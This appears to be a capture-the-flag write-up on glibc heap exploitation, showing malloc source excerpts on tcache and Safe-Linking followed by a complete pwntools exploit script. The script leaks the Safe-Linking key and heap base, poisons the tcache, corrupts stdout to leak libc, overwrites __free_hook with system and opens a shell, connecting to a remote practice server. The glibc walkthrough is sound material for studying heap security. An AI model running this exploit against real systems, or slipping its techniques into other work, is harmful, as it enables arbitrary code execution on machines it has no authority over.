1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

static __always_inline void 
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

if (SINGLE_THREAD_P)  
{
    /* Check that the top of the bin is not the record we are going to
        add (i.e., double free).  */
    if (__builtin_expect(old == p, 0))
        malloc_printerr("double free or corruption (fasttop)");
    p->fd = PROTECT_PTR(&p->fd, old);
    *fb = p;
}
else
    do
    {
        /* Check that the top of the bin is not the record we are going to
            add (i.e., double free).  */
        if (__builtin_expect(old == p, 0))
            malloc_printerr("double free or corruption (fasttop)");
        old2 = old;
        p->fd = PROTECT_PTR(&p->fd, old);
    } while ((old = catomic_compare_and_exchange_val_rel(fb, p, old2))
        != old2);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache.  That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
larger pages provide less entropy, although the pointer mangling
still works.  */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

from pwn import *
# context.log_level = "debug"
libc = ELF('libc/libc.so.6')

def debug(addr=0, PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(r.pid)).readlines()[1], 16)
        print ("breakpoint_addr --> " + hex(text_base + 0x4040))
        gdb.attach(r, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(r, "b *{}".format(hex(addr)))

def choice(idx):
    r.sendlineafter('>>', str(idx))

def add(size, content='a'):
    choice(1)
    r.sendlineafter('Size:', str(size))
    r.sendafter('Content:', content)

def delete():
    choice(2)

def show():
    choice(3)

def edit(content):
    choice(5)
    r.sendafter("Content:", content)

def pwn():
    #leak key & heap_base
    add(0x58)
    delete()
    show()
    key = u64(r.recvuntil('1.add', drop=True))
    log.success("key: " + hex(key))
    heap_base = key << 12
    #hijack tcache
    edit(p64(0) * 2)
    delete()
    edit(p64(key ^ (heap_base + 0x10)) + p64(0))
    add(0x58)
    add(0x58, '\x00' * 0x4E + '\xFF')
    delete()
    add(0x48, '\x00' * 6 + '\x01\x00' + '\x00' * 4 + '\x01\x00')
    add(0x38)
    add(0x18, 'a' * 8 + '\xc0\xa6')
    #leak libc
    add(0x48, p64(0xfbad1800) + '\x00' * 0x18 + '\x00')
    stdout_addr = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 132
    libc_base = stdout_addr - libc.sym['_IO_2_1_stdout_']
    if libc_base <= 0:
        raise EOFError
    libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
    log.success('libc_base: ' + hex(libc.address))
    #hijcak __free_hook to system
    add(0x18, p64(libc.sym['__free_hook'] - 0x10))
    add(0x78, '/bin/sh\x00' * 2 + p64(libc.sym['system']))
    delete()
    r.interactive()

while True:
    try:
        # r = process('./ff')
        r = remote('node3.buuoj.cn', 26335)
        pwn()
    except EOFError:
        pass

1
2

if (__glibc_unlikely (!aligned_OK (e)))
	malloc_printerr ("malloc(): unaligned tcache chunk detected");